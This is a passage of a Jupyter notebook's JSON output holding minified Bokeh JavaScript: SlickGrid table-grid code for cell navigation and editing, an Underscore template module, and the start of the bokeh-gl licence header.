l=n.cellNodesByColumnIdx[o];l&&r.asyncPostRender(l,t,getDataItem(t),r,\\\"C\\\"===i),postProcessedRows[t][o]=\\\"R\\\"}}return void(h_postrender=setTimeout(asyncPostProcessRows,options.asyncPostRenderDelay))}}}function asyncPostProcessCleanupRows(){if(0<postProcessedCleanupQueue.length){for(var e=postProcessedCleanupQueue[0].groupId;0<postProcessedCleanupQueue.length&&postProcessedCleanupQueue[0].groupId==e;){var t=postProcessedCleanupQueue.shift();if(\\\"R\\\"==t.actionType&&$(t.node).remove(),\\\"C\\\"==t.actionType){var n=columns[t.columnIdx];n.asyncPostRenderCleanup&&t.node&&n.asyncPostRenderCleanup(t.node,t.rowIdx,n)}}h_postrenderCleanup=setTimeout(asyncPostProcessCleanupRows,options.asyncPostRenderCleanupDelay)}}function updateCellCssStylesOnRenderedRows(e,t){var n,o,r,i;for(var l in rowsCache){if(i=t&&t[l],r=e&&e[l],i)for(o in i)r&&i[o]==r[o]||(n=getCellNode(l,getColumnIndex(o)))&&$(n).removeClass(i[o]);if(r)for(o in r)i&&i[o]==r[o]||(n=getCellNode(l,getColumnIndex(o)))&&$(n).addClass(r[o])}}function addCellCssStyles(e,t){if(cellCssClasses[e])throw new Error(\\\"addCellCssStyles: cell CSS hash with key '\\\"+e+\\\"' already exists.\\\");updateCellCssStylesOnRenderedRows(cellCssClasses[e]=t,null),trigger(self.onCellCssStylesChanged,{key:e,hash:t,grid:self})}function removeCellCssStyles(e){cellCssClasses[e]&&(updateCellCssStylesOnRenderedRows(null,cellCssClasses[e]),delete cellCssClasses[e],trigger(self.onCellCssStylesChanged,{key:e,hash:null,grid:self}))}function setCellCssStyles(e,t){var n=cellCssClasses[e];updateCellCssStylesOnRenderedRows(cellCssClasses[e]=t,n),trigger(self.onCellCssStylesChanged,{key:e,hash:t,grid:self})}function getCellCssStyles(e){return cellCssClasses[e]}function flashCell(e,t,n){if(n=n||100,rowsCache[e]){var o=$(getCellNode(e,t)),r=function(e){e&&setTimeout(function(){o.queue(function(){o.toggleClass(options.cellFlashingCssClass).dequeue(),r(e-1)})},n)};r(4)}}function handleMouseWheel(e){var t=$(e.target).closest(\\\".slick-row\\\")[0];t!=rowNodeFromLastMouseWheelEvent&&(zombieRowNodeFromLastMouseWheelEvent&&zombieRowNodeFromLastMouseWheelEvent!=t&&(options.enableAsyncPostRenderCleanup&&zombieRowPostProcessedFromLastMouseWheelEvent?queuePostProcessedRowForCleanup(zombieRowCacheFromLastMouseWheelEvent,zombieRowPostProcessedFromLastMouseWheelEvent):$canvas[0].removeChild(zombieRowNodeFromLastMouseWheelEvent),zombieRowPostProcessedFromLastMouseWheelEvent=zombieRowCacheFromLastMouseWheelEvent=zombieRowNodeFromLastMouseWheelEvent=null,options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()),rowNodeFromLastMouseWheelEvent=t)}function handleDragInit(e,t){var n=getCellFromEvent(e);if(!n||!cellExists(n.row,n.cell))return!1;var o=trigger(self.onDragInit,t,e);return!!e.isImmediatePropagationStopped()&&o}function handleDragStart(e,t){var n=getCellFromEvent(e);if(!n||!cellExists(n.row,n.cell))return!1;var o=trigger(self.onDragStart,t,e);return!!e.isImmediatePropagationStopped()&&o}function handleDrag(e,t){return trigger(self.onDrag,t,e)}function handleDragEnd(e,t){trigger(self.onDragEnd,t,e)}function handleKeyDown(e){trigger(self.onKeyDown,{row:activeRow,cell:activeCell,grid:self},e);var t=e.isImmediatePropagationStopped(),n=Slick.keyCode;if(!t)if(e.shiftKey||e.altKey||e.ctrlKey)e.which!=n.TAB||!e.shiftKey||e.ctrlKey||e.altKey||(t=navigatePrev());else{if(options.editable&&currentEditor&&currentEditor.keyCaptureList&&-1<currentEditor.keyCaptureList.indexOf(e.which))return;if(e.which==n.ESCAPE){if(!getEditorLock().isActive())return;cancelEditAndSetFocus()}else e.which==n.PAGE_DOWN?(navigatePageDown(),t=!0):e.which==n.PAGE_UP?(navigatePageUp(),t=!0):e.which==n.LEFT?t=navigateLeft():e.which==n.RIGHT?t=navigateRight():e.which==n.UP?t=navigateUp():e.which==n.DOWN?t=navigateDown():e.which==n.TAB?t=navigateNext():e.which==n.ENTER&&(options.editable&&(currentEditor?activeRow===getDataLength()?navigateDown():commitEditAndSetFocus():getEditorLock().commitCurrentEdit()&&makeActiveCellEditable()),t=!0)}if(t){e.stopPropagation(),e.preventDefault();try{e.originalEvent.keyCode=0}catch(e){}}}function handleClick(e){currentEditor||(e.target!=document.activeElement||$(e.target).hasClass(\\\"slick-cell\\\"))&&setFocus();var t=getCellFromEvent(e);if(t&&(null===currentEditor||activeRow!=t.row||activeCell!=t.cell)&&(trigger(self.onClick,{row:t.row,cell:t.cell,grid:self},e),!e.isImmediatePropagationStopped()&&canCellBeActive(t.row,t.cell)&&(!getEditorLock().isActive()||getEditorLock().commitCurrentEdit()))){scrollRowIntoView(t.row,!1);var n=e.target&&e.target.className===Slick.preClickClassName;setActiveCellInternal(getCellNode(t.row,t.cell),null,n)}}function handleContextMenu(e){var t=$(e.target).closest(\\\".slick-cell\\\",$canvas);0!==t.length&&(activeCellNode===t[0]&&null!==currentEditor||trigger(self.onContextMenu,{grid:self},e))}function handleDblClick(e){var t=getCellFromEvent(e);!t||null!==currentEditor&&activeRow==t.row&&activeCell==t.cell||(trigger(self.onDblClick,{row:t.row,cell:t.cell,grid:self},e),e.isImmediatePropagationStopped()||options.editable&&gotoCell(t.row,t.cell,!0))}function handleHeaderMouseEnter(e){trigger(self.onHeaderMouseEnter,{column:$(this).data(\\\"column\\\"),grid:self},e)}function handleHeaderMouseLeave(e){trigger(self.onHeaderMouseLeave,{column:$(this).data(\\\"column\\\"),grid:self},e)}function handleHeaderContextMenu(e){var t=$(e.target).closest(\\\".slick-header-column\\\",\\\".slick-header-columns\\\"),n=t&&t.data(\\\"column\\\");trigger(self.onHeaderContextMenu,{column:n,grid:self},e)}function handleHeaderClick(e){var t=$(e.target).closest(\\\".slick-header-column\\\",\\\".slick-header-columns\\\"),n=t&&t.data(\\\"column\\\");n&&trigger(self.onHeaderClick,{column:n,grid:self},e)}function handleMouseEnter(e){trigger(self.onMouseEnter,{grid:self},e)}function handleMouseLeave(e){trigger(self.onMouseLeave,{grid:self},e)}function cellExists(e,t){return!(e<0||e>=getDataLength()||t<0||t>=columns.length)}function getCellFromPoint(e,t){for(var n=getRowFromPosition(t),o=0,r=0,i=0;i<columns.length&&r<e;i++)r+=columns[i].width,o++;return o<0&&(o=0),{row:n,cell:o-1}}function getCellFromNode(e){var t=/l\\\\d+/.exec(e.className);if(!t)throw new Error(\\\"getCellFromNode: cannot get cell - \\\"+e.className);return parseInt(t[0].substr(1,t[0].length-1),10)}function getRowFromNode(e){for(var t in rowsCache)if(rowsCache[t].rowNode===e)return 0|t;return null}function getCellFromEvent(e){var t=$(e.target).closest(\\\".slick-cell\\\",$canvas);if(!t.length)return null;var n=getRowFromNode(t[0].parentNode),o=getCellFromNode(t[0]);return null==n||null==o?null:{row:n,cell:o}}function getCellNodeBox(e,t){if(!cellExists(e,t))return null;for(var n=getRowTop(e),o=n+options.rowHeight-1,r=0,i=0;i<t;i++)r+=columns[i].width;var l=r+columns[t].width;return{top:n,left:r,bottom:o,right:l}}function resetActiveCell(){setActiveCellInternal(null,!1)}function setFocus(){-1==tabbingDirection?$focusSink[0].focus():$focusSink2[0].focus()}function scrollCellIntoView(e,t,n){scrollRowIntoView(e,n);var o=getColspan(e,t);internalScrollColumnIntoView(columnPosLeft[t],columnPosRight[t+(1<o?o-1:0)])}function internalScrollColumnIntoView(e,t){var n=scrollLeft+viewportW;e<scrollLeft?($viewport.scrollLeft(e),handleScroll(),render()):n<t&&($viewport.scrollLeft(Math.min(e,t-$viewport[0].clientWidth)),handleScroll(),render())}function scrollColumnIntoView(e){internalScrollColumnIntoView(columnPosLeft[e],columnPosRight[e])}function setActiveCellInternal(e,t,n,o){null!==activeCellNode&&(makeActiveCellNormal(),$(activeCellNode).removeClass(\\\"active\\\"),rowsCache[activeRow]&&$(rowsCache[activeRow].rowNode).removeClass(\\\"active\\\"));null!=(activeCellNode=e)?(activeRow=getRowFromNode(activeCellNode.parentNode),activeCell=activePosX=getCellFromNode(activeCellNode),null==t&&(t=activeRow==getDataLength()||options.autoEdit),options.showCellSelection&&($(activeCellNode).addClass(\\\"active\\\"),$(rowsCache[activeRow].rowNode).addClass(\\\"active\\\")),options.editable&&t&&isCellPotentiallyEditable(activeRow,activeCell)&&(clearTimeout(h_editorLoader),options.asyncEditorLoading?h_editorLoader=setTimeout(function(){makeActiveCellEditable(void 0,n)},options.asyncEditorLoadDelay):makeActiveCellEditable(void 0,n))):activeRow=activeCell=null,o||trigger(self.onActiveCellChanged,getActiveCell())}function clearTextSelection(){if(document.selection&&document.selection.empty)try{document.selection.empty()}catch(e){}else if(window.getSelection){var e=window.getSelection();e&&e.removeAllRanges&&e.removeAllRanges()}}function isCellPotentiallyEditable(e,t){var n=getDataLength();return!(e<n&&!getDataItem(e))&&(!(columns[t].cannotTriggerInsert&&n<=e)&&!!getEditor(e,t))}function makeActiveCellNormal(){if(currentEditor){if(trigger(self.onBeforeCellEditorDestroy,{editor:currentEditor,grid:self}),currentEditor.destroy(),currentEditor=null,activeCellNode){var e=getDataItem(activeRow);if($(activeCellNode).removeClass(\\\"editable invalid\\\"),e){var t=columns[activeCell],n=getFormatter(activeRow,t),o=n(activeRow,activeCell,getDataItemValueForColumn(e,t),t,e,self);applyFormatResultToCellNode(o,activeCellNode),invalidatePostProcessingResults(activeRow)}}navigator.userAgent.toLowerCase().match(/msie/)&&clearTextSelection(),getEditorLock().deactivate(editController)}}function makeActiveCellEditable(e,t){if(activeCellNode){if(!options.editable)throw new Error(\\\"Grid : makeActiveCellEditable : should never get called when options.editable is false\\\");if(clearTimeout(h_editorLoader),isCellPotentiallyEditable(activeRow,activeCell)){var n=columns[activeCell],o=getDataItem(activeRow);if(!1!==trigger(self.onBeforeEditCell,{row:activeRow,cell:activeCell,item:o,column:n,grid:self})){getEditorLock().activate(editController),$(activeCellNode).addClass(\\\"editable\\\");var r=e||getEditor(activeRow,activeCell);e||r.suppressClearOnEdit||(activeCellNode.innerHTML=\\\"\\\"),currentEditor=new r({grid:self,gridPosition:absBox($container[0]),position:absBox(activeCellNode),container:activeCellNode,column:n,item:o||{},commitChanges:commitEditAndSetFocus,cancelChanges:cancelEditAndSetFocus}),o&&(currentEditor.loadValue(o),t&&currentEditor.preClick&&currentEditor.preClick()),serializedEditorValue=currentEditor.serializeValue(),currentEditor.position&&handleActiveCellPositionChange()}else setFocus()}}}function commitEditAndSetFocus(){getEditorLock().commitCurrentEdit()&&(setFocus(),options.autoEdit&&navigateDown())}function cancelEditAndSetFocus(){getEditorLock().cancelCurrentEdit()&&setFocus()}function absBox(e){var t={top:e.offsetTop,left:e.offsetLeft,bottom:0,right:0,width:$(e).outerWidth(),height:$(e).outerHeight(),visible:!0};t.bottom=t.top+t.height,t.right=t.left+t.width;for(var n=e.offsetParent;(e=e.parentNode)!=document.body&&null!=e;)t.visible&&e.scrollHeight!=e.offsetHeight&&\\\"visible\\\"!=$(e).css(\\\"overflowY\\\")&&(t.visible=t.bottom>e.scrollTop&&t.top<e.scrollTop+e.clientHeight),t.visible&&e.scrollWidth!=e.offsetWidth&&\\\"visible\\\"!=$(e).css(\\\"overflowX\\\")&&(t.visible=t.right>e.scrollLeft&&t.left<e.scrollLeft+e.clientWidth),t.left-=e.scrollLeft,t.top-=e.scrollTop,e===n&&(t.left+=e.offsetLeft,t.top+=e.offsetTop,n=e.offsetParent),t.bottom=t.top+t.height,t.right=t.left+t.width;return t}function getActiveCellPosition(){return absBox(activeCellNode)}function getGridPosition(){return absBox($container[0])}function handleActiveCellPositionChange(){if(activeCellNode&&(trigger(self.onActiveCellPositionChanged,{grid:self}),currentEditor)){var e=getActiveCellPosition();currentEditor.show&&currentEditor.hide&&(e.visible?currentEditor.show():currentEditor.hide()),currentEditor.position&&currentEditor.position(e)}}function getCellEditor(){return currentEditor}function getActiveCell(){return activeCellNode?{row:activeRow,cell:activeCell,grid:self}:null}function getActiveCellNode(){return activeCellNode}function scrollRowIntoView(e,t){var n=e*options.rowHeight,o=(e+1)*options.rowHeight-viewportH+(viewportHasHScroll?scrollbarDimensions.height:0);(e+1)*options.rowHeight>scrollTop+viewportH+offset?(scrollTo(t?n:o),render()):e*options.rowHeight<scrollTop+offset&&(scrollTo(t?o:n),render())}function scrollRowToTop(e){scrollTo(e*options.rowHeight),render()}function scrollPage(e){var t=e*numVisibleRows;if(scrollTo((getRowFromPosition(scrollTop)+t)*options.rowHeight),render(),options.enableCellNavigation&&null!=activeRow){var n=activeRow+t,o=getDataLengthIncludingAddNew();o<=n&&(n=o-1),n<0&&(n=0);for(var r=0,i=null,l=activePosX;r<=activePosX;)canCellBeActive(n,r)&&(i=r),r+=getColspan(n,r);null!==i?(setActiveCellInternal(getCellNode(n,i)),activePosX=l):resetActiveCell()}}function navigatePageDown(){scrollPage(1)}function navigatePageUp(){scrollPage(-1)}function getColspan(e,t){var n=data.getItemMetadata&&data.getItemMetadata(e);if(!n||!n.columns)return 1;var o=n.columns[columns[t].id]||n.columns[t],r=o&&o.colspan;return r=\\\"*\\\"===r?columns.length-t:r||1}function findFirstFocusableCell(e){for(var t=0;t<columns.length;){if(canCellBeActive(e,t))return t;t+=getColspan(e,t)}return null}function findLastFocusableCell(e){for(var t=0,n=null;t<columns.length;)canCellBeActive(e,t)&&(n=t),t+=getColspan(e,t);return n}function gotoRight(e,t,n){if(t>=columns.length)return null;for(;(t+=getColspan(e,t))<columns.length&&!canCellBeActive(e,t););return t<columns.length?{row:e,cell:t,posX:t}:null}function gotoLeft(e,t,n){if(t<=0)return null;var o=findFirstFocusableCell(e);if(null===o||t<=o)return null;for(var r,i={row:e,cell:o,posX:o};;){if(!(r=gotoRight(i.row,i.cell,i.posX)))return null;if(r.cell>=t)return i;i=r}}function gotoDown(e,t,n){for(var o,r=getDataLengthIncludingAddNew();;){if(++e>=r)return null;for(o=t=0;t<=n;)t+=getColspan(e,o=t);if(canCellBeActive(e,o))return{row:e,cell:o,posX:n}}}function gotoUp(e,t,n){for(var o;;){if(--e<0)return null;for(o=t=0;t<=n;)t+=getColspan(e,o=t);if(canCellBeActive(e,o))return{row:e,cell:o,posX:n}}}function gotoNext(e,t,n){if(null==e&&null==t&&canCellBeActive(e=t=n=0,t))return{row:e,cell:t,posX:t};var o=gotoRight(e,t,n);if(o)return o;var r=null,i=getDataLengthIncludingAddNew();for(e===i-1&&e--;++e<i;)if(null!==(r=findFirstFocusableCell(e)))return{row:e,cell:r,posX:r};return null}function gotoPrev(e,t,n){if(null==e&&null==t&&(e=getDataLengthIncludingAddNew()-1,t=n=columns.length-1,canCellBeActive(e,t)))return{row:e,cell:t,posX:t};for(var o,r;!o&&!(o=gotoLeft(e,t,n));){if(--e<0)return null;t=0,null!==(r=findLastFocusableCell(e))&&(o={row:e,cell:r,posX:r})}return o}function navigateRight(){return navigate(\\\"right\\\")}function navigateLeft(){return navigate(\\\"left\\\")}function navigateDown(){return navigate(\\\"down\\\")}function navigateUp(){return navigate(\\\"up\\\")}function navigateNext(){return navigate(\\\"next\\\")}function navigatePrev(){return navigate(\\\"prev\\\")}function navigate(e){if(!options.enableCellNavigation)return!1;if(!activeCellNode&&\\\"prev\\\"!=e&&\\\"next\\\"!=e)return!1;if(!getEditorLock().commitCurrentEdit())return!0;setFocus();tabbingDirection={up:-1,down:1,left:-1,right:1,prev:-1,next:1}[e];var t={up:gotoUp,down:gotoDown,left:gotoLeft,right:gotoRight,prev:gotoPrev,next:gotoNext},n=t[e],o=n(activeRow,activeCell,activePosX);if(o){var r=o.row==getDataLength();return scrollCellIntoView(o.row,o.cell,!r),setActiveCellInternal(getCellNode(o.row,o.cell)),activePosX=o.posX,!0}return setActiveCellInternal(getCellNode(activeRow,activeCell)),!1}function getCellNode(e,t){return rowsCache[e]?(ensureCellNodesInRowsCache(e),rowsCache[e].cellNodesByColumnIdx[t]):null}function setActiveCell(e,t,n,o,r){initialized&&(e>getDataLength()||e<0||t>=columns.length||t<0||options.enableCellNavigation&&(scrollCellIntoView(e,t,!1),setActiveCellInternal(getCellNode(e,t),n,o,r)))}function canCellBeActive(e,t){if(!options.enableCellNavigation||e>=getDataLengthIncludingAddNew()||e<0||t>=columns.length||t<0)return!1;var n=data.getItemMetadata&&data.getItemMetadata(e);if(n&&\\\"boolean\\\"==typeof n.focusable)return n.focusable;var o=n&&n.columns;return o&&o[columns[t].id]&&\\\"boolean\\\"==typeof o[columns[t].id].focusable?o[columns[t].id].focusable:o&&o[t]&&\\\"boolean\\\"==typeof o[t].focusable?o[t].focusable:columns[t].focusable}function canCellBeSelected(e,t){if(e>=getDataLength()||e<0||t>=columns.length||t<0)return!1;var n=data.getItemMetadata&&data.getItemMetadata(e);if(n&&\\\"boolean\\\"==typeof n.selectable)return n.selectable;var o=n&&n.columns&&(n.columns[columns[t].id]||n.columns[t]);return o&&\\\"boolean\\\"==typeof o.selectable?o.selectable:columns[t].selectable}function gotoCell(e,t,n){if(initialized&&canCellBeActive(e,t)&&getEditorLock().commitCurrentEdit()){scrollCellIntoView(e,t,!1);var o=getCellNode(e,t);setActiveCellInternal(o,n||e===getDataLength()||options.autoEdit),currentEditor||setFocus()}}function commitCurrentEdit(){var e=getDataItem(activeRow),t=columns[activeCell];if(currentEditor){if(currentEditor.isValueChanged()){var n=currentEditor.validate();if(n.valid){if(activeRow<getDataLength()){var o={row:activeRow,cell:activeCell,editor:currentEditor,serializedValue:currentEditor.serializeValue(),prevSerializedValue:serializedEditorValue,execute:function(){this.editor.applyValue(e,this.serializedValue),updateRow(this.row),trigger(self.onCellChange,{row:activeRow,cell:activeCell,item:e,grid:self})},undo:function(){this.editor.applyValue(e,this.prevSerializedValue),updateRow(this.row),trigger(self.onCellChange,{row:activeRow,cell:activeCell,item:e,grid:self})}};options.editCommandHandler?(makeActiveCellNormal(),options.editCommandHandler(e,t,o)):(o.execute(),makeActiveCellNormal())}else{var r={};currentEditor.applyValue(r,currentEditor.serializeValue()),makeActiveCellNormal(),trigger(self.onAddNewRow,{item:r,column:t,grid:self})}return!getEditorLock().isActive()}return $(activeCellNode).removeClass(\\\"invalid\\\"),$(activeCellNode).width(),$(activeCellNode).addClass(\\\"invalid\\\"),trigger(self.onValidationError,{editor:currentEditor,cellNode:activeCellNode,validationResults:n,row:activeRow,cell:activeCell,column:t,grid:self}),currentEditor.focus(),!1}makeActiveCellNormal()}return!0}function cancelCurrentEdit(){return makeActiveCellNormal(),!0}function rowsToRanges(e){for(var t=[],n=columns.length-1,o=0;o<e.length;o++)t.push(new Slick.Range(e[o],0,e[o],n));return t}function getSelectedRows(){if(!selectionModel)throw new Error(\\\"Selection model is not set\\\");return selectedRows}function setSelectedRows(e){if(!selectionModel)throw new Error(\\\"Selection model is not set\\\");selectionModel.setSelectedRanges(rowsToRanges(e))}this.debug=function(){var e=\\\"\\\";e+=\\\"\\\\ncounter_rows_rendered:  \\\"+counter_rows_rendered,e+=\\\"\\\\ncounter_rows_removed:  \\\"+counter_rows_removed,e+=\\\"\\\\nrenderedRows:  \\\"+renderedRows,e+=\\\"\\\\nnumVisibleRows:  \\\"+numVisibleRows,e+=\\\"\\\\nmaxSupportedCssHeight:  \\\"+maxSupportedCssHeight,e+=\\\"\\\\nn(umber of pages):  \\\"+n,e+=\\\"\\\\n(current) page:  \\\"+page,e+=\\\"\\\\npage height (ph):  \\\"+ph,e+=\\\"\\\\nvScrollDir:  \\\"+vScrollDir,alert(e)},this.eval=function(expr){return eval(expr)},$.extend(this,{slickGridVersion:\\\"2.3.4\\\",onScroll:new Slick.Event,onSort:new Slick.Event,onHeaderMouseEnter:new Slick.Event,onHeaderMouseLeave:new Slick.Event,onHeaderContextMenu:new Slick.Event,onHeaderClick:new Slick.Event,onHeaderCellRendered:new Slick.Event,onBeforeHeaderCellDestroy:new Slick.Event,onHeaderRowCellRendered:new Slick.Event,onFooterRowCellRendered:new Slick.Event,onBeforeHeaderRowCellDestroy:new Slick.Event,onBeforeFooterRowCellDestroy:new Slick.Event,onMouseEnter:new Slick.Event,onMouseLeave:new Slick.Event,onClick:new Slick.Event,onDblClick:new Slick.Event,onContextMenu:new Slick.Event,onKeyDown:new Slick.Event,onAddNewRow:new Slick.Event,onBeforeAppendCell:new Slick.Event,onValidationError:new Slick.Event,onViewportChanged:new Slick.Event,onColumnsReordered:new Slick.Event,onColumnsResized:new Slick.Event,onCellChange:new Slick.Event,onBeforeEditCell:new Slick.Event,onBeforeCellEditorDestroy:new Slick.Event,onBeforeDestroy:new Slick.Event,onActiveCellChanged:new Slick.Event,onActiveCellPositionChanged:new Slick.Event,onDragInit:new Slick.Event,onDragStart:new Slick.Event,onDrag:new Slick.Event,onDragEnd:new Slick.Event,onSelectedRowsChanged:new Slick.Event,onCellCssStylesChanged:new Slick.Event,registerPlugin:registerPlugin,unregisterPlugin:unregisterPlugin,getColumns:getColumns,setColumns:setColumns,getColumnIndex:getColumnIndex,updateColumnHeader:updateColumnHeader,setSortColumn:setSortColumn,setSortColumns:setSortColumns,getSortColumns:getSortColumns,autosizeColumns:autosizeColumns,getOptions:getOptions,setOptions:setOptions,getData:getData,getDataLength:getDataLength,getDataItem:getDataItem,setData:setData,getSelectionModel:getSelectionModel,setSelectionModel:setSelectionModel,getSelectedRows:getSelectedRows,setSelectedRows:setSelectedRows,getContainerNode:getContainerNode,updatePagingStatusFromView:updatePagingStatusFromView,render:render,invalidate:invalidate,invalidateRow:invalidateRow,invalidateRows:invalidateRows,invalidateAllRows:invalidateAllRows,updateCell:updateCell,updateRow:updateRow,getViewport:getVisibleRange,getRenderedRange:getRenderedRange,resizeCanvas:resizeCanvas,updateRowCount:updateRowCount,scrollRowIntoView:scrollRowIntoView,scrollRowToTop:scrollRowToTop,scrollCellIntoView:scrollCellIntoView,scrollColumnIntoView:scrollColumnIntoView,getCanvasNode:getCanvasNode,getUID:getUID,getHeaderColumnWidthDiff:getHeaderColumnWidthDiff,getScrollbarDimensions:getScrollbarDimensions,getHeadersWidth:getHeadersWidth,getCanvasWidth:getCanvasWidth,focus:setFocus,getCellFromPoint:getCellFromPoint,getCellFromEvent:getCellFromEvent,getActiveCell:getActiveCell,setActiveCell:setActiveCell,getActiveCellNode:getActiveCellNode,getActiveCellPosition:getActiveCellPosition,resetActiveCell:resetActiveCell,editActiveCell:makeActiveCellEditable,getCellEditor:getCellEditor,getCellNode:getCellNode,getCellNodeBox:getCellNodeBox,canCellBeSelected:canCellBeSelected,canCellBeActive:canCellBeActive,navigatePrev:navigatePrev,navigateNext:navigateNext,navigateUp:navigateUp,navigateDown:navigateDown,navigateLeft:navigateLeft,navigateRight:navigateRight,navigatePageUp:navigatePageUp,navigatePageDown:navigatePageDown,gotoCell:gotoCell,getTopPanel:getTopPanel,setTopPanelVisibility:setTopPanelVisibility,getPreHeaderPanel:getPreHeaderPanel,setPreHeaderPanelVisibility:setPreHeaderPanelVisibility,setHeaderRowVisibility:setHeaderRowVisibility,getHeaderRow:getHeaderRow,getHeaderRowColumn:getHeaderRowColumn,setFooterRowVisibility:setFooterRowVisibility,getFooterRow:getFooterRow,getFooterRowColumn:getFooterRowColumn,getGridPosition:getGridPosition,flashCell:flashCell,addCellCssStyles:addCellCssStyles,setCellCssStyles:setCellCssStyles,removeCellCssStyles:removeCellCssStyles,getCellCssStyles:getCellCssStyles,init:finishInitialization,destroy:destroy,getEditorLock:getEditorLock,getEditController:getEditController}),init()}module.exports={Grid:SlickGrid}},448:function(e,t,n){t.exports=\\\"undefined\\\"!=typeof $?$:e(441)},449:function(e,t,n){var o=e(450),r=o.template;function i(e,t,n){return r(e,t,n)}i._=o,t.exports=i,\\\"function\\\"==typeof define&&define.amd?define(function(){return i}):\\\"undefined\\\"==typeof window&&\\\"undefined\\\"==typeof navigator||(window.UnderscoreTemplate=i)},450:function(e,t,n){\\n\",\n       \"      //     (c) 2009-2013 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors\\n\",\n       \"      //     Underscore may be freely distributed under the MIT license.\\n\",\n       \"      var l={},o=Array.prototype,r=Object.prototype,i=o.slice,s=r.toString,a=r.hasOwnProperty,c=o.forEach,u=Object.keys,d=Array.isArray,p=function(){},f=p.each=p.forEach=function(e,t,n){if(null!=e)if(c&&e.forEach===c)e.forEach(t,n);else if(e.length===+e.length){for(var o=0,r=e.length;o<r;o++)if(t.call(n,e[o],o,e)===l)return}else for(var i=p.keys(e),o=0,r=i.length;o<r;o++)if(t.call(n,e[i[o]],i[o],e)===l)return};p.keys=u||function(e){if(e!==Object(e))throw new TypeError(\\\"Invalid object\\\");var t=[];for(var n in e)p.has(e,n)&&t.push(n);return t},p.defaults=function(n){return f(i.call(arguments,1),function(e){if(e)for(var t in e)void 0===n[t]&&(n[t]=e[t])}),n},p.isArray=d||function(e){return\\\"[object Array]\\\"===s.call(e)},p.has=function(e,t){if(!p.isArray(t))return null!=e&&a.call(e,t);for(var n=t.length,o=0;o<n;o++){var r=t[o];if(null==e||!a.call(e,r))return!1;e=e[r]}return!!n};var h={escape:{\\\"&\\\":\\\"&amp;\\\",\\\"<\\\":\\\"&lt;\\\",\\\">\\\":\\\"&gt;\\\",'\\\"':\\\"&quot;\\\",\\\"'\\\":\\\"&#x27;\\\"}},g={escape:new RegExp(\\\"[\\\"+p.keys(h.escape).join(\\\"\\\")+\\\"]\\\",\\\"g\\\")};p.each([\\\"escape\\\"],function(t){p[t]=function(e){return null==e?\\\"\\\":(\\\"\\\"+e).replace(g[t],function(e){return h[t][e]})}}),p.templateSettings={evaluate:/<%([\\\\s\\\\S]+?)%>/g,interpolate:/<%=([\\\\s\\\\S]+?)%>/g,escape:/<%-([\\\\s\\\\S]+?)%>/g};var m=/(.)^/,v={\\\"'\\\":\\\"'\\\",\\\"\\\\\\\\\\\":\\\"\\\\\\\\\\\",\\\"\\\\r\\\":\\\"r\\\",\\\"\\\\n\\\":\\\"n\\\",\\\"\\\\t\\\":\\\"t\\\",\\\"\\\\u2028\\\":\\\"u2028\\\",\\\"\\\\u2029\\\":\\\"u2029\\\"},w=/\\\\\\\\|'|\\\\r|\\\\n|\\\\t|\\\\u2028|\\\\u2029/g;p.template=function(i,e,t){var n;t=p.defaults({},t,p.templateSettings);var o=new RegExp([(t.escape||m).source,(t.interpolate||m).source,(t.evaluate||m).source].join(\\\"|\\\")+\\\"|$\\\",\\\"g\\\"),l=0,s=\\\"__p+='\\\";i.replace(o,function(e,t,n,o,r){return s+=i.slice(l,r).replace(w,function(e){return\\\"\\\\\\\\\\\"+v[e]}),t&&(s+=\\\"'+\\\\n((__t=(\\\"+t+\\\"))==null?'':_.escape(__t))+\\\\n'\\\"),n&&(s+=\\\"'+\\\\n((__t=(\\\"+n+\\\"))==null?'':__t)+\\\\n'\\\"),o&&(s+=\\\"';\\\\n\\\"+o+\\\"\\\\n__p+='\\\"),l=r+e.length,e}),s+=\\\"';\\\\n\\\",t.variable||(s=\\\"with(obj||{}){\\\\n\\\"+s+\\\"}\\\\n\\\"),s=\\\"var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\\\\n\\\"+s+\\\"return __p;\\\\n\\\";try{n=new Function(t.variable||\\\"obj\\\",\\\"_\\\",s)}catch(e){throw e.source=s,e}if(e)return n(e,p);var r=function(e){return n.call(this,e,p)};return r.source=\\\"function(\\\"+(t.variable||\\\"obj\\\")+\\\"){\\\\n\\\"+s+\\\"}\\\",r},t.exports=p}},0,0)}(a.Bokeh)}(this);\\n\",\n       \"      //# sourceMappingURL=bokeh-tables.min.js.map\\n\",\n       \"      /* END bokeh-tables.min.js */\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      /* BEGIN bokeh-gl.min.js */\\n\",\n       \"      /*!\\n\",\n       \"       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n\",\n       \"       * All rights reserved.\\n\",\n       \"       * \\n\",\n       \"       * Redistribution and use in source and binary forms, with or without modification,\\n\",\n       \"       * are permitted provided that the following conditions are met:\\n\",\n       \"       * \\n\",\n       \"       * Redistributions of source code must retain the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer.\\n\",\n       \"       * \\n\",\n       \"       * Redistributions in binary form must reproduce the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer in the documentation\\n\",\n       \"       * and/or other materials provided with the distribution.\\n\",\n       \"       * \\n\",\n       \"       * Neither the name of Anaconda nor the names of any contributors\\n\",\n       \"       * may be used to endorse or promote products derived from this software\\n\",\n       \"       * without specific prior written permission.\\n\",\n       \"       * \\n\",\n       \"       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n\",\n       \"       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n\",\n       \"       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n\",\n       \"       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n\",\n       \"       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n\",\n       \"       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n\",\n       \"       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n\",\n       \"       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY 